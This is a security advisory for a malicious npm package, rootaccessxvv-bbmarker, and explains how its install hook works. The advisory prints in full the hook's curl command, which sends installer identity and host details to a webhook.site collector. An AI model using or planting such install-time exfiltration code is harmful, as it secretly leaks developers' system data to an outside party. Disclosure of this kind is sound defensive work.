MAL-2026-18108 Malicious code in rootaccessxvv-bbmarker (npm)

Its postinstall hook runs on npm install: curl -s -m 10 -X POST "https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof" -H "Content-Type: text/plain" --data-binary "DPD-REGISTRY-RCE-PROOF|user=$(whoami)|host=$(hostname)|node=$(node --version)|os=$(uname -a 2>/dev/null || ver)|cwd=$PWD|[email protected]|benign-research-rootaccessxvv" || true. The hook collects the username, hostname, Node.js version, operating system, working directory and package name, then sends them to https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof. The npm account mohamed2343224 published it on 2026-10-18.

package.json declares a postinstall lifecycle script that runs on npm install and POSTs installer host identifiers to a hardcoded webhook.site collector at https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof. The script shells out to whoami, hostname, uname, and node -v, concatenates the output with the current working directory, and sends the result via curl -X POST. The destination is an anonymous third-party webhook aggregator unrelated to any legitimate install-time dependency. The package name self-describes as a proof-of-concept, but the behavior — automatic install-time collection and exfiltration of installer identity and host metadata to an attacker-controlled collector — is a working supply-chain attack regardless of how it is labeled.